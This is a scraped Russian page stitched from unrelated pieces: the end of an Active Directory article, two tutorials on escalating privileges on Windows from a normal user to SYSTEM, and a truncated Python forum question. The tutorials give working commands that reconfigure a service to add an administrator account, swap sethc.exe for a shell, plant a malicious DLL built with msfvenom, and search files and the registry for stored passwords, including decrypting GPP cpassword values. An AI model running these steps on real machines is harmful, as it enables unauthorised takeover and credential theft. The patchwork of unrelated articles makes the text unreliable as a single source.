Правильное понимание процесса администрирования учетных записей позволит вам создать четко настроенную рабочую среду предприятия, обеспечив гибкость управления, а главное – отказоустойчивость и безопасность домена. В следующей статье мы поговорим о групповых политиках как инструменте для создания пользовательского окружения.

Приложение

Нюансы доменной аутентификации

При использовании локальных профилей может возникнуть ситуация, когда пользователь домена пытается войти на рабочую станцию, которая имеет его локальный профиль, но по каким-то причинам не имеет доступа к контроллеру. На удивление, пользователь успешно пройдет аутентификацию и будет допущен к работе.

Такая ситуация возникает из-за кэширования мандата пользователя и может быть исправлена внесением изменений в реестр. Для этого в папке HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\Current Version\Winlogon создать (если таковой нет) запись с именем CachedLogonCount, типом данных REG_DWORD и установить ее значение в ноль. Аналогичного результата можно добиться при помощи групповых политик.

Емельянов А. Принципы построение доменов Active Directory, //«Системный администратор», №2, 2007 г. – С. 38-43.

Facebook

Twitter

Мой мир

Вконтакте

Одноклассники

Google+

samag.ru

Повышаем пользовательские привилегии в Windows

Повышение привилегий, пожалуй, один из ключевых моментов, от которого зависит сценарий дальнейшего проведения пентеста или атаки. Очень часто на этом этапе все и заканчивается, если не получается «расширить свои полномочия». Поэтому сегодня мы немного поговорим о способах, позволяющих пользователю повысить свои привилегии не только до администраторских, но и до системных.

Введение

Повышение привилегий в Windows и Linux несколько различается. Несмотря на то что обе операционные системы несут обычное число уязвимостей, исследователи отмечают, что полностью пропатченный Windows-сервер встречается гораздо чаще, чем обновленный до актуального состояния Linux. К тому же время выхода виндовых патчей зачастую меньше, что делает повышение привилегий на винде задачей достаточно интересной и амбициозной. Именно ей мы и посвятим наш рассказ.

Варианты

Итак, какие у нас есть возможности приподняться в мире Windows? Прежде всего, в последнее время в ядре ОС было найдено достаточно уязвимостей, связанных с парсингом шрифтов, что делает процесс повышения привилегий достаточно простым, если на руках есть подходящий сплоит. Если ты используешь Metasploit, то достаточно всего лишь одной команды, чтобы получить системный шелл. Однако все это с большой вероятностью успешно сработает только в том случае, если система не полностью пропатчена. Если же на машине установлены все обновления, то, в отличие от Linux, здесь не получится найти SUID-бинарников, а переменные окружения обычно не передаются сервисам или процессам с более высокими привилегиями. Что же в результате нам остается?

От админа до системы, или то, что знают все

Обычно при упоминании повышения привилегий на ум сразу приходит способ, использующий планировщик задач. В винде можно добавить задачу с помощью двух утилит: at и schtasks. Вторая запустит задачу от имени пользователя, добавившего задание, в то время как первая — от имени системы. Стандартный трюк, о котором ты наверняка слышал, позволяющий запустить консоль с правами системы:

at 13:01 /interactive cmd

Второе, что приходит в голову, — это добавление сервиса, который будет запускать необходимый файл / выполнять команду:

@echo off @break off title root Cls echo Creating service. sc create evil binpath= "cmd.exe /K start" type= own type= interact > nul 2>&1 echo Starting service. sc start evil > nul 2>&1 echo Standing by... ping 127.0.0.1 -n 4 > nul 2>&1 echo Removing service. echo. sc delete evil > nul 2>&1

Третий способ заключается в подмене системной утилиты C:\windows\system32\sethc.exe на, например, cmd. Если после этого разлогиниться и нажать несколько раз клавишу Shift, то появится консоль с системными правами.

Что касается автоматизированных способов, то на ум сразу же приходит Metasploit и его getsystem. Альтернативным вариантом можно считать PsExec от Sysinternals (psexec -i -s -d cmd.exe).

Мы пойдем другим путем

У всех названных методов есть общий недостаток: необходимы администраторские привилегии. Это означает, что мы повышаем привилегии уже из-под привилегированного аккаунта. В большинстве случаев, когда ты получил админские права, у тебя на руках появляется куча вариантов, как подняться еще выше. Так что это не очень сложная задача. Мы же поговорим сегодня о методах повышения привилегий, не использующих какие-либо 0day-уязвимости, полагая, что у нас обычная система и на руках аккаунт обычного непривилегированного пользователя.

Охота за credentials

Один из надежных и стабильных способов повышения привилегий и закрепления в системе — получить пароли администраторов или пользователей, обладающих более высокими привилегиями. И тут самое время вспомнить об автоматизированной установке программного обеспечения. Если ты управляешь доменом, включающим в себя обширный парк машин, однозначно тебе не захочется ходить и устанавливать ПО на каждую из них вручную. Да и времени это будет отнимать столько, что ни на какие другие задачи не хватит. Поэтому используются Unattended installations, которые порождают файлы, содержащие админские пароли в чистейшем виде. Что представляет собой просто клад как для пентестеров, так и для злоумышленников.

Unattended Installs

В случае автоматизированной установки на клиенте остается достаточно любопытный для нас файл Unattended.xml, который обычно находится либо в %WINDIR%\Panther\Unattend\, либо в %WINDIR%\Panther\ и может хранить пароль администратора в открытом виде. С другой стороны, чтобы получить этот файл с сервера, не требуется даже никакой аутентификации. Надо найти лишь «Windows Deployment Services» сервер. Для этого можно воспользоваться скриптом auxiliary/scanner/dcerpc/windows_deployment _services из Metasploit. И хотя Windows Deployment Services не единственный способ выполнения автоматизированных инсталляций, файл Unattended.xml считается стандартом, так что его обнаружение можно приравнять к успеху.

Пример файла Unattended.xml с сохраненными данными

GPP

XML-файлы настроек групповой политики безопасности (Group Policy Preference) довольно часто содержат в себе набор зашифрованных учетных данных, которые могут использоваться для добавления новых пользователей, создания шар и так далее. На счастье, метод шифрования документирован, таким образом, можно запросто получить пароли в чистом виде. Более того, команда Metasploit уже все сделала за тебя — достаточно воспользоваться модулем /post/windows/gather/credentials/gpp.rb. Если тебе интересны подробности, то вся необходимая информация доступна по этой ссылке.

Пользовательские права

Очень часто повышение привилегий оказывается следствием неправильно настроенных пользовательских прав. Например, когда пользователь домена является локальным администратором (или Power User’ом) на хосте. Или когда пользователи домена (или члены доменных групп) являются локальными админами на всех хостах. В таком случае тебе уже толком не придется ничего делать. Но такие варианты подворачиваются не так часто.

AlwaysInstallElevated

Иногда администраторы позволяют обычным пользователям самостоятельно устанавливать программы, обычно делается это через следующие ключи реестра:

HKLM\SOFTWARE\Policies\Microsoft\Windows \Installer\AlwaysInstallElevated

или

HKCU\SOFTWARE\Policies\Microsoft\Window s\Installer\AlwaysInstallElevated

Они указывают системе, что любой MSI-файл должен устанавливаться с повышенными привилегиями (NT AUTHORITY\SYSTEM). Соответственно, задействовав специальным образом созданный файл, можно опять же выполнить действия от имени системы и прокачать свои привилегии.

В состав Metasploit входит специальный модуль exploit/windows/local/always_install_elevated, который создает MSI-файл со встроенным в него специальным исполняемым файлом, который извлекается и выполняется установщиком с привилегиями системы. После его выполнения MSI-файл прекращает установку (путем вызова специально созданного невалидного VBS), чтобы предотвратить регистрацию действия в системе. К тому же если запустить установку с ключом /quiet, то юзеру даже не выведется ошибка.

Пропавший автозапуск

Очень часто случается, что система хранит запись о файле, который надо автоматически запустить, даже после того, как сам файл уже канул в Лету. Может, какой-то сервис был некорректно удален — исполняемого файла нет, а запись в реестре осталась, и при каждом запуске система безуспешно пытается его стартануть, забивая журнал событий сообщениями о фейлах. Этой ситуацией также можно воспользоваться для расширения своих полномочий. Первым делом надо найти все такие осиротевшие записи. Например, при помощи утилиты autorunsc от Sysinternals.

autorunsc.exe -a | findstr /n /R "File\ not\ found"

После чего, как ты догадался, останется только как-то подсунуть на место пропавшего файла своего кандидата.

Магия кавычек

Да-да, кавычки могут не только сыграть злую шутку в SQL-запросах, позволив провести инъекцию, но и помочь поднять привилегии. Проблема довольно старая и известна со времен NT. Суть в том, что пути до исполняемых файлов некоторых сервисов оказываются не обрамленными кавычками (например, ImagePath=C:\Program Files\Common Files\Network Associates\McShield\McShield.exe), при этом в пути присутствуют символы пробела. В таком случае, если атакующий создаст файл, который будет добавлять новых админов в систему или выполнять еще какие-то действия, и назовет его C:\Program Files\common.exe, то при последующем запуске сервиса запустится именно common.exe, а оставшаяся часть пути будет воспринята в качестве аргумента (аргументов). Понятно, что в Program Files непривилегированный пользователь положить ничего не сможет, но исполняемый файл сервиса может находиться и в другой директории, то есть у юзера будет возможность подсунуть свой файл.

Для того чтобы воспользоваться данной техникой, надо найти уязвимый сервис (который не будет использовать кавычки в пути к своему бинарнику). Делается это следующим образом:

wmic service get name,displayname,pathname, startmode |findstr /i "auto" |findstr /i /v "c: \windows\\" |findstr /i /v """

Правда, на XP это потребует привилегий админа, поэтому там лучше воспользоваться следующим методом: получить список сервисов — sc query, далее смотреть информацию по каждому сервису — sc qc servicename.

Все по плану

Еще один механизм, который может помочь поднять права и про который обычно забывают, — планировщик задач. Утилита schtasks позволяет вешать задачи на определенные события. Наиболее интересные для нас — ONIDLE, ONLOGON и ONSTART. Как следует из названий, ONIDLE будет выполняться каждый раз при простое компьютера, ONLOGON и ONSTART — при входе пользователя и при запуске системы соответственно. Таким образом, на каждое из событий можно повесить отдельную задачу. Например, при запуске системы копировать куда-либо вредоносный бинарник/кейлоггер/… и запускать его. При входе пользователей в систему — запускать дампер кредитных карт. Короче, все ограничивается только твоей фантазией и поставленной задачей.

Фокусы с разрешениями

Разрешения на доступ к файлам — это обычно первое защитное средство, которое мешает поднять нам свои привилегии. Было бы заманчиво просто так переписать какой-либо системный файл (например, тот же самый sethc.exe, упомянутый в самом начале статьи) и получить сразу системные привилегии. Но все это лишь мечты, на деле у нас есть лишь разрешение на его чтение, которое нам ровным счетом ничего не дает. Однако не стоит вешать нос, ибо с разрешениями тоже не все так гладко — здесь, как и везде, существуют свои подводные камни, знание которых позволяет делать невозможное возможным.

Одна из системных директорий, защищенных данным механизмом, особенно интересна с точки зрения повышения привилегий — Program Files. Непривилегированным пользователям доступ туда заказан. Однако иногда бывает, что в процессе установки инсталляторы некорректно выставляют права на файлы, в результате чего всем пользователям предоставляется полный доступ к исполняемым файлам. Что из этого следует — ты уже догадался.

Еще одно из ограничений — обычному смертному не позволяется писать в корень системного диска. Однако, например, на XP при создании новой директории в корне диска группа BUILTIN\Users получает FILE_APPEND_DATA и FILE_WRITE_DATA разрешения (даже если владельцем папки является администратор):

BUILTIN\Users:(OI)(CI)R BUILTIN\Users:(CI)(special access:) FILE_APPEND_DATA BUILTIN\Users:(CI)(special access:) FILE_WRITE_DATA

На «семерке» происходит почти то же самое, только разрешения получает группа AUTHENTICATED USERS. Каким образом такое поведение может превратиться в проблему? Просто некоторые приложения устанавливают себя вне защищенных директорий, что позволит легко подменить их исполняемые файлы. Например, такая оказия случилась с Metasploit Framework в случае ее многопользовательской установки. Данный баг был пофиксен в версии 3.5.2, а утилита переехала в Program Files.

Windows 7. Права на папку, созданную администратором

Как искать такие директории/файлы

Обнаружение директории с некорректными разрешениями — это уже половина успеха. Однако ее нужно сначала найти. Для этого можно воспользоваться следующими двумя инструментами: AccessChk и Cacls/ICacls. Чтобы найти при помощи AccessChk «слабые» директории, понадобятся данные команды:

accesschk.exe -uwdqs users c:\ accesschk.exe -uwdqs “Authenticated Users” c:\

Для поиска файлов со «слабыми» разрешениями служат следующие:

accesschk.exe -uwqs users c:\*.* accesschk.exe -uwqs “Authenticated Users” c:\*.*

То же самое можно выполнить и при помощи Cacls/ICacls:

cacls "c:\Program Files" /T | findstr Users

Трюки с сервисами

Еще один вариант, как подняться в системе повыше, — это воспользоваться мисконфигурациями и ошибками сервисов. Как показывает практика, некорректными разрешениями могут обладать не только файлы и папки, но также и сервисы, работающие в системе. Чтобы обнаружить такие, можно воспользоваться утилитой AccessChk от небезызвестного тебе Марка Руссиновича:

accesschk.exe –uwcqv *

Отраднее всего будет увидеть SERVICE_ALL_ACCESS разрешение для аутентифицированных пользователей или power-юзеров. Но также большой удачей можно считать и следующие:

SERVICE_CHANGE_CONFIG — можем изменять исполняемый файл службы;
WRITE_DAC — можно менять разрешения, что приводит к получению разрешения SERVICE_CHANGE_CONFIG;
WRITE_OWNER — можно стать владельцем и изменить разрешения;
GENERIC_WRITE — наследует разрешения SERVICE_CHANGE_CONFIG;
GENERIC_ALL — наследует разрешения SERVICE_CHANGE_CONFIG.

Если обнаруживается, что установлено одно (или несколько) из этих разрешений для непривилегированных пользователей, шансы повысить свои привилегии резко возрастают.

Как повысить?

Допустим, ты нашел подходящий сервис, настало время поработать над ним. В этом поможет консольная утилита sc. Для начала получаем полную информацию об интересующем нас сервисе, допустим, это upnphost:

sc qc upnphost

С помощью этой же утилиты отконфигурируем его:

sc config vulnsrv binpath= "net user john hello /add && net localgroup Administrators john /add" type= interact sc config upnphost obj= “.\LocalSystem” password=“”

Как видишь, при следующем старте службы вместо ее исполняемого файла выполнится команда net user john hello /add && net localgroup Administrators john /add, добавив в систему нового пользователя john с паролем hello. Остается только вручную перезапустить сервис:

net stop upnphost net start upnphost

Вот и вся магия.

Что в итоге

Когда-то давным-давно я прочитал в журнале статью, в которой были приведены основные приемы для повышения привилегий в ОС Windows. Особого значения я ей тогда не придал, но теория в голове отложилась и однажды очень сильно меня выручила. Так что, надеюсь, и ты найдешь в этой статье для себя что-то новое, что поможет однажды преодолеть очередной барьер.

xakep.ru

Основы повышения привилегий в Windows / Хабр

Решил для себя и для тех, кому будет полезно, собрать все что знаю, но не помню по теме, в этой статье. Делитесь советами. Основным источником этой статьи является эта.

Я вольно перевел и добавил немного от себя, того, что насобирал и узнал из других источников.

В общем, тут представлены способы, которые помогут нам достигнуть цели повышения привилегий. Отправной точкой для этой небольшой статьи является непривилегированная оболочка (учетная запись). Возможно, мы использовали эксплойт или провели атаку и получили эту оболочку.

В принципе, в начальный момент времени мы не понимаем машину: что она делает, к чему она подключена, какой уровень привилегий у нас есть или даже какая это операционная система.

Сначала нам нужно получить нужную нам информацию, чтобы понять, где мы вообще находимся и что имеем:

systeminfo | findstr /B /C:"Название ОС" /C:"Версия ОС" Эта команда позволяет определить, как из нее видно, Название и версию ОС. Можно выполнить ее и без параметров, тогда вывод команды будет более полным, но нам достаточно и этого.

Далее важно узнать имя машины и имя пользователя, под которым мы подключились.

hostname — имя пользователя.
echo %username% — имя пользователя.

Далее посмотрим, какие пользователи есть еще на данном хосте и получим более подробную информацию о своем пользователе.

net users — другие пользователи
net user user1 — детальная информация по пользователю, где user1 — имя вашего пользователя.

Получив информацию об учетке, посмотрим информацию о сетевом взаимодействии данного хоста.

Сначала глянем на имеющиеся интерфейсы и таблицу маршрутизации.

ipconfig /all — информация об имеющихся интерфейсах.
route print — таблица маршрутизации
arp -A — таблица arp записей

Далее посмотрим активные сетевые подключения и правила брандмауэра.

netstat -ano — активные сетевые подключения.

-a — запуск с данным параметром выведет на экран все активные подключения TCP, а также порты TCP и UDP, прослушиваемые системой; -n — параметр позволяет показать активные подключения TCP с адресами и номерами портов; -o — так же, как и предыдущий ключ, выводит активные TCP подключения, но в статистику добавлены коды процессов, по ним уже можно точно определить, какое именно приложение использует подключение.

netsh firewall show state — статус брандмауэра
netsh firewall show config — конфигурация брандмауэра

Наконец, мы кратко рассмотрим, что работает на скомпрометированном хосте: запланированные задачи, запущенные процессы, запущенные службы и установленные драйверы.schtasks /query /fo LIST /v где /query — Вывод данных о всех запланированных задачах, /fo LIST — Вывод в список. /v — Вывод подробных сведений о задании.

Следующая команда связывает запущенные процессы с запущенными службами.

tasklist /SVC где, /SVC — Отображение служб для каждого процесса.

Также посмотрим список запущенных служб Windows.

net start Полезно также посмотреть информацию о драйверах скомпрометированной системы.DRIVERQUERY Далее хочется упомянуть о, наверное, самой полезной команде Windows — wmic. Команда WMIC (Windows Management Instrumentation Command) используется для получения сведений об оборудовании и системе, управления процессами и их компонентами, а также изменения настроек с использованием возможностей инструментария управления Windows (Windows Management Instrumentation или WMI). Хорошее описание.

К сожалению, некоторые конфигурации Windows по умолчанию не разрешают доступ к WMIC, если пользователь не входит в группу Администраторов (что действительно хорошая идея). Любая версия XP не позволяла доступ к WMIC с непривилегированной учетной записи.

Напротив, Windows 7 Professional и Windows 8 Enterprise по умолчанию позволяли пользователям с низкими привилегиями использовать WMIC.

По обычаю — параметры программы:

wmic /? Хороший скрипт по сбору инфы через wmic.

Прежде чем идти дальше стоит пробежаться по собранной информации. Также стоит обратить внимание на установленные в системе патчи, так как любая информация о дырах в системе даст нам дополнительную опору для повышения своих привилегий. По номеру HotFix можно поискать уязвимости по повышению привилегий.

Далее мы рассмотрим автоматическую установку. Если существует необходимость установки и настройки большого парка машин, то как правило, технический персонал не будет перемещаться от машины к машине для настройки персонального каждой. Существует несколько решений для автоматической установки. Для нас не так важно, что это за методы и как они работают, а важно то, что они оставляют конфигурационные файлы, которые используются для процесса установки, содержащие много конфиденциальной информации, такой как ключ продукта операционной системы и пароль администратора. Что нас больше всего интересует, так это пароль администратора, который мы можем использовать для повышения наших привилегий.

Как правило, это следующие каталоги:

c:\sysprep.inf
c:\sysprep\sysprep.xml
%WINDIR%\Panther\Unattend\Unattended.xml
%WINDIR%\Panther\Unattended.xml

Но стоит проверить и всю систему.

Данные файлы содержат пароли в открытом виде или кодировке BASE64. Примеры:

Sysprep.inf — пароль в открытом виде.

Sysprep.xml — пароль в кодировке base64.

Unattended.xml — пароль в кодировке base64.

Также для хостов, подключенных к домену можно поискать файл Group.xml, который содержит зашифрованный AES256 пароль, но который можно расшифровать, т.к. ключ выложен на msdn (https://msdn.microsoft.com/en-us/library/cc422924.aspx) и других источниках. Но это в случае, если используется политика создания локальных пользователей на хостах или, например, задании пароля локальному Администратору.

Например, у меня лежит тут:

Открыв его, ищем параметр “cpassword”.

Далее нужно расшифровать данную последовательность. Используем, например, CrypTool. Сначала раскодируем Base64. Особенности Base64 в том, что его длина должна быть кратна 4. Поэтому считаем блоки по 4, и если в последнем блоке не хватает символов, то недостающие дописываем символами «=». У меня вышло 2 «=».

Далее расшифруем. Применяя тот ключ, что выше.

Убираем лишние точки, разделяющие знаки и получаем пароль.

В дополнение к Group.xml вот несколько других файлов предпочтений политики, которые могут иметь дополнительный набор атрибутов «cPassword”:

Services\Services.xml
ScheduledTasks\ScheduledTasks.xml
Printers\Printers.xml
Drives\Drives.xml
DataSources\DataSources.xml

Однако мы все любим автоматизированные решения, поэтому мы можем добраться до финиша как можно быстрее. Здесь есть два основных варианта, в зависимости от типа оболочки/доступа, который у нас есть. Существует модуль metasploit, который может быть выполнен через установленную сессию (https://www.rapid7.com/db/modules/post/windows/gather/credentials/gpp) или Вы можете использовать Get-GPPPassword, который является частью PowerSploit.

Ладно, дальше. Будем искать странный параметр реестра „AlwaysInstallElevated“. Данный параметр разрешает непривилегированным пользователям устанавливать .msi файлы из-под NT AUTHORITY\SYSTEM.

Для того, чтобы иметь возможность использовать это, мы должны проверить, что оба раздела реестра установлены, и если это так, мы можем получить SYSTEM shell. Проверим:

reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevatedreg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated В состав Metasploit входит специальный модуль exploit/windows/local/always_install_elevated, который создает MSI-файл со встроенным в него специальным исполняемым файлом, который извлекается и выполняется установщиком с привилегиями системы. После его выполнения msi-файл прекращает установку, чтобы предотвратить регистрацию действия в системе. К тому же если запустить установку с ключом /quiet, то даже не выведется ошибка.

Ну и немного полезных команд по поиску по системе:

Команда ниже будет искать в файловой системе имена файлов, содержащие определенные ключевые слова. Вы можете указать любое количество ключевых слов.

dir /s *pass* == *cred* == *vnc* == *.config* Поиск определенных типов файлов по ключевому слову, эта команда может генерировать много выходных данных.findstr /si password *.xml *.ini *.txt Аналогично две команды ниже могут быть использованы для grep реестра по ключевым словам, в данном случае „password“.reg query HKLM /f password /t REG_SZ /sreg query HKCU /f password /t REG_SZ /s На данный момент у нас уже есть достаточно, чтобы получить системный шел. Но есть еще пара направленbй атаки для получения желаемого результата: мы рассмотрим службы Windows и разрешения для файлов и папок. Наша цель здесь — использовать слабые разрешения для повышения привилегий сеанса.

Мы будем проверять много прав доступа, в этом нам поможет accesschk.exe, который является инструментом от Microsoft Sysinternals Suite. Microsoft Sysinternals содержит много отличных инструментов. Пакет можно загрузить с сайта Microsoft technet (https://docs.microsoft.com/ru-ru/sysinternals/downloads/sysinternals-suite).

Мы можем проверить необходимый уровень привилегий для каждой службы с помощью accesschk.

Мы можем видеть разрешения, которые имеет каждый уровень пользователя.

Accesschk может автоматически проверять, есть ли у нас доступ на запись к службе Windows с определенным уровнем пользователя. Как правило, как пользователь с низкими привилегиями, мы хотим проверить „Пользователей“. Удостоверьтесь, что проверили, к каким группам пользователей вы принадлежите.

-c В качестве имени указана служба Windows, например ssdpsrv (укажите “*” для вывода на экран всех служб) -d Обрабатывать только каталоги -e Выводить только явным образом заданные уровни целостности (только для ОС Windows Vista) -k В качестве имени указан раздел реестра, например hklm\software -n Выводить только объекты, не имеющие правил доступа -p В качестве имени указано имя или идентификатор процесса (PID), например cmd.exe (укажите в качестве имени “*”, чтобы вывести на экран все процессы) -q Опустить заголовок -r Выводить только объекты, к которым есть право доступа на чтение -s Рекурсивная обработка -v Выводить подробную информацию -w Выводить только объекты, к которым есть право доступа на запись

Также есть еще одна интересная команда:

autorunsc.exe -a | findstr /n /R "File\ not\ found" Позволяет найти запись в реестре о файле, который запускался автоматически, но сейчас уже отсутствует в системе. Запись могла остаться, если например, сервис был неправильно удален. При каждом запуске система безуспешно пытается запустить этот файл. Этой ситуацией также можно воспользоваться для расширения своих полномочий. Просто на место этого файла можно подставить наш.

Далее рассмотрим две уязвимости:

Первая: реплицируем результаты поста, написанного Parvez из GreyHatHacker; „Elevating privileges by exploiting weak folder permissions“ (http://www.greyhathacker.net/?p=738).

Этот пример является частным случаем угона dll. Программы обычно не могут функционировать сами по себе, у них есть много ресурсов, которые им нужно подключить (в основном dll, но и собственные файлы). Если программа или служба загружает файл из каталога, к которому у нас есть доступ на запись, мы можем злоупотребить этим, чтобы запустить оболочку с привилегиями, под которыми работает программа.

Как правило, приложение Windows будет использовать предопределенные пути поиска, чтобы найти dll, и он будет проверять эти пути в определенном порядке. Dll угон обычно происходит путем размещения вредоносных dll по одному из этих путей. Эта проблема может быть устранена путем указания приложению абсолютных путей к необходимой dll.

Порядок поиска dll:

Директория с которой запущено приложение
32-bit System directory (C:\Windows\System32)
16-bit System directory (C:\Windows\System)
Windows directory (C:\Windows)
Действующая рабочая директория (CWD)
Directories in the PATH environment variable (system then user)

Иногда приложения пытаются загрузить dll файлы, отсутствующие на машине. Это может произойти по нескольким причинам, например, если библиотека dll требуется только для определенных подключаемых модулей или компонентов, которые не установлены. В этом случае Parvez обнаружил, что некоторые службы Windows пытаются загрузить библиотеки dll, которые не существуют в установках по умолчанию.

Так как dll не существует, мы в конечном итоге прохождения всех путей поиска. Как пользователь с низким уровнем привилегий у нас немного шансов положить вредоносный dll в п. 1-4, 5. Но если у нас есть доступ на запись в любой из каталогов, то наши шансы на победу велики.

Давайте посмотрим, как это работает на практике, для нашего примера мы будем использовать IKEEXT (модули ключей IPSec IKE и AuthIP) сервис, который пытается загрузить wlbsctrl.dll.

Любой каталог в „C:\“ даст доступ на запись для аутентифицированных пользователей, это дает нам шанс.

C:\Users\user1\Desktop> accesschk.exe -dqv "C:\Python27"C:\Python27 Medium Mandatory Level (Default) [No-Write-Up] RW BUILTIN\Administrators FILE_ALL_ACCESS RW NT AUTHORITY\SYSTEM FILE_ALL_ACCESS R BUILTIN\Users FILE_LIST_DIRECTORY FILE_READ_ATTRIBUTES FILE_READ_EA FILE_TRAVERSE SYNCHRONIZE READ_CONTROL RW NT AUTHORITY\Authenticated Users FILE_ADD_FILE FILE_ADD_SUBDIRECTORY FILE_LIST_DIRECTORY FILE_READ_ATTRIBUTES FILE_READ_EA FILE_TRAVERSE FILE_WRITE_ATTRIBUTES FILE_WRITE_EA DELETE SYNCHRONIZE READ_CONTROL C:\Users\user1\Desktop> icacls "C:\Python27"C:\Python27 BUILTIN\Administrators:(ID)F BUILTIN\Administrators:(OI)(CI)(IO)(ID)F NT AUTHORITY\SYSTEM:(ID)F NT AUTHORITY\SYSTEM:(OI)(CI)(IO)(ID)F BUILTIN\Users:(OI)(CI)(ID)R NT AUTHORITY\Authenticated Users:(ID)C NT AUTHORITY\Authenticated Users:(OI)(CI)(IO)(ID)C F — полный доступ. (OI) — наследование объектами. (CI) — наследование контейнерами. (IO) — только наследование. (NP) — запрет на распространение наследования. (I)- наследование разрешений от родительского контейнера.

Прежде чем перейти к действию, необходимо проверить состояние службы IKEEXT. В этом случае мы можем увидеть, что он установлен на „AUTO_START“!

sc qc IKEEXT[SC] QueryServiceConfig SUCCESS SERVICE_NAME: IKEEXT TYPE : 20 WIN32_SHARE_PROCESS START_TYPE : 2 AUTO_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : C:\Windows\system32\svchost.exe -k netsvcs LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : IKE and AuthIP IPsec Keying Modules DEPENDENCIES : BFE SERVICE_START_NAME : LocalSystem Теперь мы знаем, что у нас есть необходимые условия, и мы можем создать вредоносную dll и перехвата оболочки!

Используем Metasploit -> msfvenom, это например.

После передачи evil.dll на наш целевой компьютер все, что нам нужно сделать, это переименовать его в wlbsctrl.dll и переместить в „C:\Python27“. Как только это будет сделано, нам нужно терпеливо ждать перезагрузки машины (или мы можем попытаться принудительно перезагрузить), и мы получим системную оболочку.

copy evil.dll C:\Python27\wlbsctrl.dll После этого осталось только дождаться перезагрузки системы.

Для нашего последнего примера мы рассмотрим запланированные задачи. Опишу принцип, т.к. у всех могут быть разные случаи.

Находим процесс, службу, приложение запускаемое планировщиком задач от SYSTEM. Проверяем права доступа на папку, где находится наша цель.

accesschk.exe -dqv "путь_к_цели" Ясно, что это серьезная проблема конфигурации, но еще хуже тот факт, что любой прошедший проверку Пользователь (аутентифицированный пользователь) имеет доступ на запись в эту папку. В этом примере мы можем просто перезаписать двоичный исполняемый файл файлом, сгенерированным в metasploit.

Можно закодировать дополнительно.

Теперь остается только загрузить вредоносный исполняемый файл и перезаписать его в папку выполняемого файла. Как только это будет сделано, мы можем спокойно идти спать и рано с утра получить системный шел.

Эти два примера должны дать нам представление об уязвимостях, которые необходимо искать при рассмотрении разрешений для файлов и папок. Потребуется время, чтобы изучить все пути binpath для служб windows, запланированные задачи и задачи автозапуска.

Напоследок пара советов по использованию accesschk.exe.

Найти все слабые разрешения для папок на диске.

accesschk.exe -uwdqs Users c:\ accesschk.exe -uwdqs "Authenticated Users" c:\ Найти все слабые разрешения для файлов на диске.accesschk.exe -uwqs Users c:\*.* accesschk.exe -uwqs "Authenticated Users" c:\*.* Вроде всё.

habr.com

python - Python: Какая разница между builtin и builtins?

Я сегодня кодировал и кое-что заметил. Если я открываю новый сеанс интерпретатора (IDLE) и проверяю, что определено с помощью функции dir, я получаю следующее:

$ python >>> dir() ['__builtins__', '__doc__', '__name__', '__package__'] >>> dir(__builtins__) ['ArithmeticError', 'AssertionError', 'AttributeError', 'BaseException', 'BufferError', 'BytesWarning', 'DeprecationWarning', 'EOFError', 'Ellipsis', 'EnvironmentError', 'Exception', 'False', 'FloatingPointError', 'FutureWarning', 'GeneratorExit', 'IOError', 'ImportError', 'ImportWarning', 'IndentationError', 'IndexError', 'KeyError', 'KeyboardInterrupt', 'LookupError', 'MemoryError', 'NameError', 'None', 'NotImplemented', 'NotImplementedError', 'OSError', 'OverflowError', 'PendingDeprecationWarning', 'ReferenceError', 'RuntimeError', 'RuntimeWarning', 'StandardError', 'StopIteration', 'SyntaxError', 'SyntaxWarning', 'SystemError', 'SystemExit', 'TabError', 'True', 'TypeError', 'UnboundLocalError', 'UnicodeDecodeError', 'UnicodeEncodeError', 'UnicodeError', 'UnicodeTranslateError', 'UnicodeWarning', 'UserWarning', 'ValueError', 'Warning', 'ZeroDivisionError', '_', '__debug__', '__doc__', '__import__', '__name__', '__package__', 'abs', 'all', 'any', 'apply', 'basestring', 'bin', 'bool', 'buffer', 'bytearray', 'bytes', 'callable', 'chr', 'classmethod', 'cmp', 'coerce', 'compile', 'complex', 'copyright', 'credits', 'delattr', 'dict', 'dir', 'divmod', 'enumerate', 'eval', 'execfile', 'exit', 'file', 'filter', 'float', 'format', 'frozenset', 'getattr', 'globals', 'hasattr', 'hash', 'help', 'hex', 'id', 'input', 'int', 'intern', 'isinstance', 'issubclass', 'iter', 'len', 'license', 'list', 'locals', 'long', 'map', 'max', 'memoryview', 'min', 'next', 'object', 'oct', 'open', 'ord', 'pow', 'print', 'property', 'quit', 'range', 'raw_input', 'reduce', 'reload', 'repr', 'reversed', 'round', 'set', 'setattr', 'slice', 'sorted', 'staticmethod', 'str', 'sum', 'super', 'tuple', 'type', 'unichr', 'unicode', 'vars', 'xrange', 'zip'] >>> import __builtin__ ['ArithmeticError', 'AssertionError', 'AttributeError', 'BaseException', 'BufferError', 'BytesWarning', 'DeprecationWarning', 'EOFError', 'Ellipsis', 'EnvironmentError', 'Exception', 'False', 'FloatingPointError', 'FutureWarning', 'GeneratorExit', 'IOError', 'ImportError', 'ImportWarning', 'IndentationError', 'IndexError', 'KeyError', 'KeyboardInterrupt', 'LookupError', 'MemoryError', 'NameError', 'None', 'NotImplemented', 'NotImplementedError', 'OSError', 'OverflowError', 'PendingDeprecationWarning', 'ReferenceError', 'RuntimeError', 'RuntimeWarning', 'StandardError', 'StopIteration', 'SyntaxError', 'SyntaxWarning', 'SystemError', 'SystemExit', 'TabError', 'True', 'TypeError', 'UnboundLocalError', 'UnicodeDecodeError', 'UnicodeEncodeError', 'UnicodeError', 'UnicodeTranslateError', 'UnicodeWarning', 'UserWarning', 'ValueError', 'Warning', 'ZeroDivisionError', '_', '__debug__', '__doc__', '__import__', '__name__', '__package__', 'abs', 'all', 'any', 'apply', 'basestring', 'bin', 'bool', 'buffer', 'bytearray', 'bytes', 'callable', 'chr', 'classmethod', 'cmp', 'coerce', 'compile', 'complex', 'copyright', 'credits', 'delattr', 'dict', 'dir', 'divmod', 'enumerate', 'eval', 'execfile', 'exit', 'file', 'filter', 'float', 'format', 'frozenset', 'getattr', 'globals', 'hasattr', 'hash', 'help', 'hex', 'id', 'input', 'int', 'intern', 'isinstance', 'issubclass', 'iter', 'len', 'license', 'list', 'locals', 'long', 'map', 'max', 'memoryview', 'min', 'next', 'object', 'oct', 'open', 'ord', 'pow', 'print', 'property', 'quit', 'range', 'raw_input', 'reduce', 